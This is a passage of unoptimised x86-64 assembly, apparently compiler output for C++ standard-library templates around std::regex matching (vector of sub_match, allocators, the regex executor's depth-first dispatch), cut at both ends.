_ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE8max_sizeEv cmp QWORD PTR [rbp-24], rax jbe .L1024 .L1023: mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE8max_sizeEv jmp .L1025 .L1024: mov rax, QWORD PTR [rbp-24] .L1025: add rsp, 56 pop rbx pop rbp ret _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE11_M_allocateEm: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi cmp QWORD PTR [rbp-16], 0 je .L1028 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt16allocator_traitsISaINSt7__cxx119sub_matchIPKcEEEE8allocateERS5_m jmp .L1030 .L1028: mov eax, 0 .L1030: leave ret _ZSt34__uninitialized_move_if_noexcept_aIPNSt7__cxx119sub_matchIPKcEES5_SaIS4_EET0_T_S8_S7_RT1_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov QWORD PTR [rbp-48], rcx mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt32__make_move_if_noexcept_iteratorINSt7__cxx119sub_matchIPKcEESt13move_iteratorIPS4_EET0_PT_ mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt32__make_move_if_noexcept_iteratorINSt7__cxx119sub_matchIPKcEESt13move_iteratorIPS4_EET0_PT_ mov rdi, rax mov rdx, QWORD PTR [rbp-48] mov rax, QWORD PTR [rbp-40] mov rcx, rdx mov rdx, rax mov rsi, rbx call _ZSt22__uninitialized_copy_aISt13move_iteratorIPNSt7__cxx119sub_matchIPKcEEES6_S5_ET0_T_S9_S8_RSaIT1_E add rsp, 40 pop rbx pop rbp ret _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE12_Vector_implC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSaINSt7__cxx119sub_matchIPKcEEEC2Ev mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+16], 0 nop leave ret _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE12_Vector_implC2ERKS4_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSaISt4pairIPKciEEC2ERKS3_ mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+16], 0 nop leave ret _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE17_M_create_storageEm: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE11_M_allocateEm mov rdx, rax mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-16] sal rdx, 4 add rdx, rax mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+16], rdx nop leave ret _ZSt27__uninitialized_default_n_aIPSt4pairIPKciEmS3_ET_S5_T0_RSaIT1_E: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZSt25__uninitialized_default_nIPSt4pairIPKciEmET_S5_T0_ leave ret _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE12_Vector_implC1Ev nop leave ret _ZNSt15__uniq_ptr_implIbSt14default_deleteIA_bEEC2EPb: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt5tupleIJPbSt14default_deleteIA_bEEEC1IS0_S3_Lb1EEEv mov rbx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt15__uniq_ptr_implIbSt14default_deleteIA_bEE6_M_ptrEv mov QWORD PTR [rax], rbx nop add rsp, 24 pop rbx pop rbp ret _ZNSt16allocator_traitsISaISt4pairIPKciEEE10deallocateERS4_PS3_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorISt4pairIPKciEE10deallocateEPS4_m nop leave ret _ZNSt12_Destroy_auxILb1EE9__destroyIPSt4pairIPKciEEEvT_S7_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi nop pop rbp ret _ZN9__gnu_cxx13new_allocatorISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEEED2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZNSt16allocator_traitsISaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEE10deallocateERSA_PS9_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEEE10deallocateEPSA_m nop leave ret _ZNSt12_Destroy_auxILb0EE9__destroyIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS8_EEEEEvT_SD_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi .L1046: mov rax, QWORD PTR [rbp-8] cmp rax, QWORD PTR [rbp-16] je .L1047 mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt11__addressofISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEPT_RSA_ mov rdi, rax call _ZSt8_DestroyISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEvPT_ add QWORD PTR [rbp-8], 32 jmp .L1046 .L1047: nop leave ret _ZSt12__get_helperILm0EPbJSt14default_deleteIA_bEEERT0_RSt11_Tuple_implIXT_EJS4_DpT1_EE: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt11_Tuple_implILm0EJPbSt14default_deleteIA_bEEE7_M_headERS4_ leave ret _ZSt3getILm1EJPbSt14default_deleteIA_bEEERNSt13tuple_elementIXT_ESt5tupleIJDpT0_EEE4typeERS8_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt12__get_helperILm1ESt14default_deleteIA_bEJEERT0_RSt11_Tuple_implIXT_EJS3_DpT1_EE leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE11_State_infoISt17integral_constantIbLb0EESt6vectorIS5_S6_EE8_M_queueElRKSE_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-24] lea rcx, [rbp-16] mov rsi, rcx mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE12emplace_backIJRlRKS7_EEERS8_DpOT_ nop leave ret _ZNKSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE5emptyEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE3endEv mov QWORD PTR [rbp-16], rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE5beginEv mov QWORD PTR [rbp-8], rax lea rdx, [rbp-16] lea rax, [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxxeqIPKSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEEbRKNS_17__normal_iteratorIT_T0_EESK_ nop leave ret _ZNKSt10unique_ptrIA_bSt14default_deleteIS0_EE3getEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt15__uniq_ptr_implIbSt14default_deleteIA_bEE6_M_ptrEv leave ret _ZSt6fill_nIPbmbET_S1_T0_RKT1_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt12__niter_baseIPbET_S1_ mov rcx, rax mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-16] mov rsi, rax mov rdi, rcx call _ZSt10__fill_n_aIPbmbEN9__gnu_cxx11__enable_ifIXsrSt11__is_scalarIT1_E7__valueET_E6__typeES6_T0_RKS4_ leave ret _ZSt4moveIRSt6vectorISt4pairIlS0_INSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EEEONSt16remove_referenceIT_E4typeEOSE_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EEC2EOSA_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rbx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt4moveIRSt6vectorISt4pairIlS0_INSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EEEONSt16remove_referenceIT_E4typeEOSE_ mov rsi, rax mov rdi, rbx call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EEC2EOSB_ nop add rsp, 24 pop rbx pop rbp ret _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE5beginEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEC1ERKSB_ mov rax, QWORD PTR [rbp-8] leave ret _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE3endEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] lea rdx, [rax+8] lea rax, [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEC1ERKSB_ mov rax, QWORD PTR [rbp-8] leave ret _ZN9__gnu_cxxneIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEEbRKNS_17__normal_iteratorIT_T0_EESJ_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEE4baseEv mov rbx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEE4baseEv mov rax, QWORD PTR [rax] cmp rbx, rax setne al add rsp, 24 pop rbx pop rbp ret _ZN9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEppEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] lea rdx, [rax+32] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNK9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEdeEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] pop rbp ret _ZSt4moveIRSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEONSt16remove_referenceIT_E4typeEOSA_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEaSEOS6_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov BYTE PTR [rbp-1], 1 mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt4moveIRSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEONSt16remove_referenceIT_E4typeEOSA_ mov rdx, rax mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE14_M_move_assignEOS6_St17integral_constantIbLb1EE mov rax, QWORD PTR [rbp-24] leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov eax, esi mov QWORD PTR [rbp-24], rdx mov BYTE PTR [rbp-12], al mov rax, QWORD PTR [rbp-8] lea rdx, [rax+96] mov rax, QWORD PTR [rbp-24] mov rsi, rax mov rdi, rdx call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE11_State_infoISt17integral_constantIbLb0EESt6vectorIS5_S6_EE10_M_visitedEl test al, al jne .L1091 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-24] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov rdi, rax call _ZNKSt8__detail6_StateIcE9_M_opcodeEv cmp eax, 12 ja .L1076 mov eax, eax mov rax, QWORD PTR .L1080[0+rax*8] jmp rax .L1080: .quad .L1076 .quad .L1090 .quad .L1089 .quad .L1088 .quad .L1087 .quad .L1086 .quad .L1085 .quad .L1084 .quad .L1083 .quad .L1082 .quad .L1076 .quad .L1081 .quad .L1079 .L1089: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE16_M_handle_repeatENS9_11_Match_modeEl jmp .L1076 .L1083: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE23_M_handle_subexpr_beginENS9_11_Match_modeEl jmp .L1076 .L1082: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE21_M_handle_subexpr_endENS9_11_Match_modeEl jmp .L1076 .L1087: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE30_M_handle_line_begin_assertionENS9_11_Match_modeEl jmp .L1076 .L1086: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE28_M_handle_line_end_assertionENS9_11_Match_modeEl jmp .L1076 .L1085: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE23_M_handle_word_boundaryENS9_11_Match_modeEl jmp .L1076 .L1084: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE27_M_handle_subexpr_lookaheadENS9_11_Match_modeEl jmp .L1076 .L1081: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE15_M_handle_matchENS9_11_Match_modeEl jmp .L1076 .L1088: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE17_M_handle_backrefENS9_11_Match_modeEl jmp .L1076 .L1079: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE16_M_handle_acceptENS9_11_Match_modeEl jmp .L1076 .L1090: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE21_M_handle_alternativeENS9_11_Match_modeEl nop jmp .L1076 .L1091: nop .L1076: leave ret _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE5clearEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE15_M_erase_at_endEPS8_ nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE11_State_infoISt17integral_constantIbLb1EESt6vectorIS5_S6_EE14_M_get_sol_posEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 8 pop rbp ret _ZN9__gnu_cxx14__alloc_traitsISaINSt7__cxx119sub_matchIPKcEEES5_E27_S_propagate_on_copy_assignEv: push rbp mov rbp, rsp mov eax, 0 pop rbp ret _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEaSERKS6_: push rbp mov rbp, rsp push r14 push r13 push r12 push rbx sub rsp, 32 mov QWORD PTR [rbp-56], rdi mov QWORD PTR [rbp-64], rsi mov rax, QWORD PTR [rbp-64] cmp rax, QWORD PTR [rbp-56] je .L1098 call _ZN9__gnu_cxx14__alloc_traitsISaINSt7__cxx119sub_matchIPKcEEES5_E27_S_propagate_on_copy_assignEv test al, al je .L1099 call _ZN9__gnu_cxx14__alloc_traitsISaINSt7__cxx119sub_matchIPKcEEES5_E15_S_always_equalEv xor eax, 1 test al, al je .L1100 mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rbx, rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rsi, rbx mov rdi, rax call _ZStneINSt7__cxx119sub_matchIPKcEEEbRKSaIT_ES8_ test al, al je .L1100 mov eax, 1 jmp .L1101 .L1100: mov eax, 0 .L1101: test al, al je .L1102 mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE5clearEv mov rax, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rbp-56] mov rcx, QWORD PTR [rdx+16] mov rdx, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rdx] sub rcx, rdx mov rdx, rcx mov rcx, rdx sar rcx, 3 movabs rdx, -6148914691236517205 imul rdx, rcx mov rsi, rdx mov rdx, QWORD PTR [rbp-56] mov rcx, QWORD PTR [rdx] mov rdx, rsi mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE13_M_deallocateEPS4_m mov rax, QWORD PTR [rbp-56] mov QWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-56] mov QWORD PTR [rax+8], 0 mov rax, QWORD PTR [rbp-56] mov QWORD PTR [rax+16], 0 .L1102: mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rbx, rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rsi, rbx mov rdi, rax call _ZSt15__alloc_on_copyISaINSt7__cxx119sub_matchIPKcEEEEvRT_RKS6_ .L1099: mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv mov QWORD PTR [rbp-40], rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE8capacityEv cmp QWORD PTR [rbp-40], rax seta al test al, al je .L1103 mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE3endEv mov rbx, rax mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE5beginEv mov rdx, rax mov rsi, QWORD PTR [rbp-40] mov rax, QWORD PTR [rbp-56] mov rcx, rbx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE20_M_allocate_and_copyIN9__gnu_cxx17__normal_iteratorIPKS4_S6_EEEEPS4_mT_SE_ mov QWORD PTR [rbp-48], rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rax, QWORD PTR [rbp-56] mov rcx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-56] mov rax, QWORD PTR [rax] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPNSt7__cxx119sub_matchIPKcEES4_EvT_S6_RSaIT0_E mov rax, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rbp-56] mov rcx, QWORD PTR [rdx+16] mov rdx, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rdx] sub rcx, rdx mov rdx, rcx mov rcx, rdx sar rcx, 3 movabs rdx, -6148914691236517205 imul rdx, rcx mov rsi, rdx mov rdx, QWORD PTR [rbp-56] mov rcx, QWORD PTR [rdx] mov rdx, rsi mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE13_M_deallocateEPS4_m mov rax, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rbp-48] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-56] mov rcx, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-40] mov rax, rdx add rax, rax add rax, rdx sal rax, 3 lea rdx, [rcx+rax] mov rax, QWORD PTR [rbp-56] mov QWORD PTR [rax+16], rdx jmp .L1104 .L1103: mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv cmp QWORD PTR [rbp-40], rax setbe al test al, al je .L1105 mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov r12, rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE3endEv mov rbx, rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE5beginEv mov r14, rax mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE3endEv mov r13, rax mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE5beginEv mov rdx, r14 mov rsi, r13 mov rdi, rax call _ZSt4copyIN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEENS1_IPS6_SB_EEET0_T_SG_SF_ mov rdx, r12 mov rsi, rbx mov rdi, rax call _ZSt8_DestroyIN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEES6_EvT_SC_RSaIT0_E jmp .L1104 .L1105: mov rax, QWORD PTR [rbp-56] mov rbx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-64] mov r12, QWORD PTR [rax] mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv mov rdx, rax mov rax, rdx add rax, rax add rax, rdx sal rax, 3 lea rcx, [r12+rax] mov rax, QWORD PTR [rbp-64] mov rax, QWORD PTR [rax] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZSt4copyIPNSt7__cxx119sub_matchIPKcEES5_ET0_T_S7_S6_ mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov r14, rax mov rax, QWORD PTR [rbp-56] mov r12, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-64] mov rbx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-64] mov r13, QWORD PTR [rax] mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv mov rdx, rax mov rax, rdx add 